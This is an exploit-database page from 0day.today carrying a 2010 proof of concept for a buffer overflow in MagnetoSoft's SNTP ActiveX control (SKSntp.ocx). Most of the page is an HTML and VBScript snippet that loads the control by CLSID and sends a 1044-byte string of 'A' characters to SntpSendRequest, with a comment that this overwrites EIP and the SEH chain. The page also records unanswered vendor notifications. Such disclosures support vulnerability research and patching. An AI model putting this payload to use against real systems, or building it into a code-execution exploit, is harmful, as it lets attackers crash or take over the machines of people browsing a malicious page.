[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

MagnetoSoft SNTP ActiveX SntpSendRequest Crash POC

Author
s4squatch
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-11779
Category
dos / poc
Date add
13-04-2010
Platform
windows
==================================================
MagnetoSoft SNTP ActiveX SntpSendRequest Crash POC
==================================================

<html>
<object classid='clsid:A3010B66-C229-11D5-B7BA-00C0F02DFC67' id='target' /></object>
<script language='vbscript'>
'Magneto Software SNTP ActiveX SntpSendRequest BOF POC
'Discovered by:  s4squatch
'Site: www.securestate.com
'www:  http://www.magnetosoft.com/products/sksntp/sksntp_features.htm
'Download:  http://www.magnetosoft.com/downloads/sksntp_setup.exe
'Vendor Notified: 02/02/10 --> NO RESPONSE
'Vendor Notified: 02/11/10 --> NO RESPONSE
'Vendor Notified: 02/17/10 --> NO RESPONSE
'Published 04/13/10
'File Name = SKSntp.ocx
'www:  http://www.magnetosoft.com/products/sksntp/sksntp_features.htm
'Download:  http://www.magnetosoft.com/downloads/sksntp_setup.exe
'Function SntpSendRequest ( ByVal bstrSntpServer As String ,  ByVal bSynchronizeClock As Integer ) As Long
'memberName = "SntpSendRequest"
'progid     = "SKSNTPLib.SKSntp"
 
'1044 overwrites EIP, ESP, ECX, EBP, SEH
 
buff = String(1044, "A")
 
target.SntpSendRequest buff ,1
 
</script>



#  0day.today [2024-11-15]  #